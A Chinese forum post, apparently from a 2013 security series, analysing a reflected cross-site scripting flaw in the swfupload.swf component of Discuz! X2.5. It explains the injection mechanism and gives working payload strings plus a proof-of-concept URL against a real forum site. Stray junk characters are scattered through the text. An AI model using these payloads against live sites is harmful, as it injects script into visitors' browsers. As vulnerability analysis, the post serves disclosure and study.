找回密码
 立即注册
查看: 2853|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
; o' r! O. t* N1 E) q0 U/ T
0 ~* ~6 m( b& S3 I7 a- l: Kflash.external.ExternalInterface.call($methodName, $parameter)
$ E* ?  j% @6 \, V; j' K在浏览器中执行的是
  A: r$ I4 f+ @: }+ h" \+ t
' p# D* }* B6 [0 Y2 @  f) ztry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}) U2 \6 x( d. P. T% I
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
1 A  p2 u7 a$ |! ?" T+ q" s* g5 ?
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
) G" b# w/ M, _3 D1 h* r$methodName = a())}catch(e){alert(/xss/)}//0 T/ T: ?# L, [
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。; y; u6 y, _% o  W
" a9 g; @5 G% I9 \/ @3 I0 ~+ b) [6 N# o
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
3 K# m6 d5 E! S4 Q$ I4 F: ~9 y! ]  Z; Y
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
6 n- H. |4 E. _* m' D杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
/ d" @  h/ o9 x$ e3 ]( N( e( ~, Q

$ U  R/ `  z6 L" `1 P
" G+ ^; Y+ @; V! }. i+ Z* D漏洞文件:upload\static\image\common\swfupload.swf
1 J5 q: ~8 t/ k
0 l' U4 C. l6 T原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf+ B- ^( p, @" ]) g5 M3 h6 r

' M) I: w! }( y' x
+ @& T+ s1 u2 J2 Y/ ]+ R漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//6 w- ], q& Y1 e' X+ h% {) t( a2 r

) q( |9 t1 ^& s  x' u+ ]) z' o* }/ X2 Y3 r, d3 n+ B4 x5 O5 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表